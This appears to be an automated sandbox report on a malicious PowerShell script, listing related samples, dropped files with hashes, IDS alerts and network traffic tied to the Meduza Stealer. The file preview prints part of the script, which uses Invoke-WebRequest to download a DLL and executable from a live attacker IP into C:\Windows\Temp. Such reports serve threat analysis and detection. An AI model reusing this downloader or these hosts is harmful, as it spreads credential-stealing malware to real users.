	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	winws1.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	PO.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	rDOC24INV0616.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ARNES-NETAcademicandResearchNetworkofSloveniaSI	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	193.3.19.151
	https://img10.reactor.cc/pics/post/full/Sakimichan-artist-Iono-(Pokemon)-Pok%c3%a9mon-7823638.jpeg	Get hash	malicious	HTMLPhisher	Browse	193.3.184.24
	bot.sh4.elf	Get hash	malicious	Mirai	Browse	95.87.151.57
	duschno.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	193.3.19.151
	jade.arm.elf	Get hash	malicious	Mirai	Browse	95.87.151.72
	https://u48551708.ct.sendgrid.net/ls/click?upn=u001.ztPEaTmy8WofhPYJ48HDSCunUq5pm5yTGRhe-2B0bVSngC8hMYiy6PgMy1xJOG8JJZaOsK-2FG9SE7UmhEzeQSXDmEf7Z3nlXZDH-2BW1HSMP6c8uYUvXDTaJRyLbPDV6bI3nnDyIlM0OJKevMwAF04rpfLmQEYS641NQTMU227kkOtBQgQK-2FNlHeN6DpPMLDgH6kuMS3X_2vbC1nrAFjePip8HYuHYOlkYXiy7Z-2FrO9MQN7lNoEgxRkovUJGAEvKvTFyRmFsa9AQlcDpFhpJzgHajMOC0yWTZOc2DdmxhrlyPvteyXbl8nlhAtf2p-2FHw4RnlZ8cxDY-2BWJeBsszGnsrXuNOI8LpL5ZYI3ad04OdxC8tHHA5tO-2Be1xS3Z9Z3VrOTM-2FT5ptoYnx5N-2FTYKQ13RZ-2FookVMhAtJ6OV43Zayd1qOmHGLwUI8-3D	Get hash	malicious	Phisher	Browse	193.3.19.55
	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	193.3.184.46
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	95.87.175.59
	file.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	193.3.168.50
	file.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	193.3.168.50
CLOUDFLARENETUS	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	SWIFT COPY.exe	Get hash	malicious	FormBook	Browse	104.21.86.111
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
FREE-NET-ASFREEnetEU	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	147.45.47.15
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.m68k.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	147.45.124.54

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.26.12.205
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	104.26.12.205
	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.26.12.205
	TT copy.js	Get hash	malicious	FormBook	Browse	104.26.12.205
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	104.26.12.205
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	104.26.12.205
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\xdnfl52f.civ.exe	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
C:\Windows\Temp\Launcher.exe	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
C:\Windows\Temp\iviewers.dll	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Launcher.exe.log

Download File

Process:	C:\Windows\Temp\Launcher.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulK:NllU
MD5:	7C7772684C9836B758223907BC2AEE9B
SHA1:	F6FC33AF6B68C788D4F59704A3331A85C43E6FC2
SHA-256:	38EC1F523D66248087C3A3D9BCE52F154183337CCA920C7576BF0532F2F92486
SHA-512:	E24A56AC8327A7450047ED6599A62F6930B31DFD54E27435AF02EB6083D8896C1383730B7C0A8FB898127714EC8C0770BF8DCA4EA6B3B234FA0516915451878E
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2evbln1x.grp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2wx1ljus.31u.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nhbgshs.0ep.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bok0q4ft.2dt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jl43vcbs.krk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_omurlmqj.xxf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pbcokcux.iij.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sa4woea3.ut5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4X7XH5VR7CUU9TBFLQZU.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.703159957955717
Encrypted:	false
SSDEEP:	96:LXl3CioUkvhkvCCtd9LVBHGUY9LV2hHGUv:LXPLd9iUY9FUv
MD5:	AD0F9AD43998F1D1B2BB402696953798
SHA1:	455B224133EC27B64EC8D049D89EC581F2058E8A
SHA-256:	D0BD0CE9A7A905696B9B896EE2F190F4614C4467B23DA2B6386442A3A5511A6F
SHA-512:	D21AE64E07B22FEB45CA50A830CF61233E3B71A08BC10585C74CA87349BEFC7C16BAC88EBC06299F963BA27B28836FFC9B4EB2C5617551A3B9E4CA30070432FA
Malicious:	false
Preview:	...................................FL..................F.".. ...d..........Q..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M......}...Q..cM...Q......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Y.>....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Y.>..Roaming.@......DWSl.Y.>....C.....................a...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Y.>....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.Y.>....E.....................:...W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.Y.>....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.Y.>....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl.Y.>....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.703159957955717
Encrypted:	false
SSDEEP:	96:LXl3CioUkvhkvCCtd9LVBHGUY9LV2hHGUv:LXPLd9iUY9FUv
MD5:	AD0F9AD43998F1D1B2BB402696953798
SHA1:	455B224133EC27B64EC8D049D89EC581F2058E8A
SHA-256:	D0BD0CE9A7A905696B9B896EE2F190F4614C4467B23DA2B6386442A3A5511A6F
SHA-512:	D21AE64E07B22FEB45CA50A830CF61233E3B71A08BC10585C74CA87349BEFC7C16BAC88EBC06299F963BA27B28836FFC9B4EB2C5617551A3B9E4CA30070432FA
Malicious:	false
Preview:	...................................FL..................F.".. ...d..........Q..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M......}...Q..cM...Q......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Y.>....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Y.>..Roaming.@......DWSl.Y.>....C.....................a...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Y.>....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.Y.>....E.....................:...W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.Y.>....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.Y.>....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl.Y.>....q...........

C:\Windows\Temp\Launcher.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	206304
Entropy (8bit):	5.9403786086887225
Encrypted:	false
SSDEEP:	3072:gyOSSX7XA5RwkP10/Cg+ufLLobyT9S9jHkQPEZS0bGAPo:tEXjA5yBF+ma9jHfPITGb
MD5:	2696D944FFBEF69510B0C826446FD748
SHA1:	E4106861076981799719876019FE5224EAC2655C
SHA-256:	A4F53964CDDDCCCBD1B46DA4D3F7F5F4292B5DD11C833D3DB3A1E7DEF36DA69A
SHA-512:	C286BC2DA757CBB2A28CF516A4A273DD11B15F674D5F698A713DC794F013B7502A8893AB6041E51BAB3CDD506A18C415B9DF8483B19E312F8FCB88923F42B8EB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: script.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........s..u...u...u.......u.......u...u...w.......u.......u......u.......u..Rich.u..........PE..L...........................................0....@..........................0......&G....@... .............................tH.......`...................!............T...........................H...@............@..l............................text...T........................... ..`.data...t....0......................@....idata..,....@......."..............@..@.rsrc........`.......@..............@..@.reloc..........,..................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\iviewers.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	3.6989393576979213
Encrypted:	false
SSDEEP:	96:fNnyOybUJQ23GgX791qKilsZODTgFZP/8R:fNnyOybrVO9QKilhfgFZP/u
MD5:	E017BE56699801DC89A8D6D1724EB633
SHA1:	A7F7AAE4744210DB8EBAF4DA06C167357BC71ECA
SHA-256:	AA6B0863022BDA1E0C263A75AE2896FE473D3BF57A76EFC258B3AFEC8C157564
SHA-512:	2368425DADC7F22EB11532359D4D1AA97BF3E381F4FD7B62C587E1F8819EF64A0FF7FC75CC5948939FADEBC423345AB65A1CD2799BB4136FBEA89D1F75DFC8C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Joe Sandbox View:	Filename: script.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....eag...........!.................+... ...@....... ....................................@..........................@..(...\+..O....`............................................................................... ............... ..H............text........ ...................... ..`.sdata..V....@......................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\xdnfl52f.civ.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1292800
Entropy (8bit):	6.519533062327776
Encrypted:	false
SSDEEP:	24576:IgAMXnXkciEIMJQZe8Us9Mjemp5wx1wach0lhSMXl5xT+d:x3Xn0ciEIp3Us+egSx+ahpxTK
MD5:	C6813DA66EBA357D0DEAA48C2F7032B8
SHA1:	6812E46C51F823FF0B0EE17BFCE0AF72F857AF66
SHA-256:	1420F60F053C3EA5605239EE431E5F487245108B1C01BE75D16B5246156FA178
SHA-512:	19391C6B12BA8F34A5FAF326F8986EF8DE4729D614D72BF438C6EFA569B3505159CA55F580FE2A02642E5E7A0F1B38A7A9DB9F0D66D67BA548D84C230183159E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: C:\Windows\Temp\xdnfl52f.civ.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: script.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.7./.d./.d./.d.W.e./.d.W.e./.d..e./.d...e./.d...e./.d...e./.d.W.e8/.d.W.e./.d.W.e./.d./.d...d.W.e./.d..e./.d.>d./.d..e./.dRich./.d........PE..d....7;g.........."....).4.......... ..........@..........................................`.................................................h...@................l..............<......8.......................(.......@............P..x............................text....2.......4.................. ..`.rdata..x....P.......8..............@..@.data....\|.......Z..................@....pdata...l.......n...<..............@..@.rsrc...............................@..@.reloc..<...........................@..B................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.14538708249427
TrID:
File name:	script.ps1
File size:	324 bytes
MD5:	129bf31d3dc155699387ccc33f2f3775
SHA1:	1f43dcd5742a8f0b499892fd3e09255378817adc
SHA256:	b1d2df274b2539ad80debafc925c0cf6a2c2394093e57a8e1d0023d3fc13dba3
SHA512:	37f6f05e14cb7a78e7f245da4834b2be124e181c96c50a314dd29fc0c2b06c369b4510d068baf34495be5566e41a7d4852582643ce13beaded84720c3c3c9643
SSDEEP:	6:yHfeEI4uKxErcdb7iwaUBuzwa1dbD3Lh8J0i7XarD3Lh8JN3rdRLKMFIsC/:C4XKP61U4z1XrGmia7GX3PeMnC/
TLSH:	D0E07D081287037CC0E88708241042EE960FF5DC2F7D0C77EC5A35863C0349A1D9EB98
File Content Preview:	..$dllPath = "C:\Windows\Temp\iviewers.dll"..$exePath = "C:\Windows\Temp\Launcher.exe"....$dllUrl = "http://147.45.47.15/iviewers.dll"..$exeUrl = "http://147.45.47.15/Launcher.exe"....Invoke-WebRequest -Uri $dllUrl -OutFile $dllPath....Invoke-WebRequest -

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:52:42.649350+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49704	147.45.47.15	80	TCP
2024-12-19T08:53:04.832885+0100	2049441	ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt	1	192.168.2.5	49709	193.3.19.151	15666	TCP
2024-12-19T08:53:04.832885+0100	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.5	49709	193.3.19.151	15666	TCP
2024-12-19T08:53:04.832885+0100	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.5	49709	193.3.19.151	15666	TCP
2024-12-19T08:53:04.952744+0100	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.5	49709	193.3.19.151	15666	TCP
2024-12-19T08:53:04.952744+0100	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.5	49709	193.3.19.151	15666	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:52:40.843966961 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:40.963613033 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:40.963700056 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:40.967886925 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:41.087639093 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.215856075 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.215948105 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.215960979 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.216063023 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.216352940 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.216365099 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.216377974 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.216437101 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.216459036 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.251663923 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.371234894 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.649183035 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.649295092 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.649310112 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.649349928 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.649708033 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.649760008 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.657510996 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.657645941 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.657704115 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.665899038 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.668410063 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.668518066 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.668684006 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.676811934 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.676944971 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.677067995 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.685170889 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.685420036 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.734246969 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.734325886 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.734493971 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.738358021 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.738467932 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.738543987 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.769064903 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.769172907 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.769370079 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.841413975 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.841425896 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.841543913 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.843658924 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.843769073 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.848114014 CET	49704	80	192.168.2.5	147.45.47.15
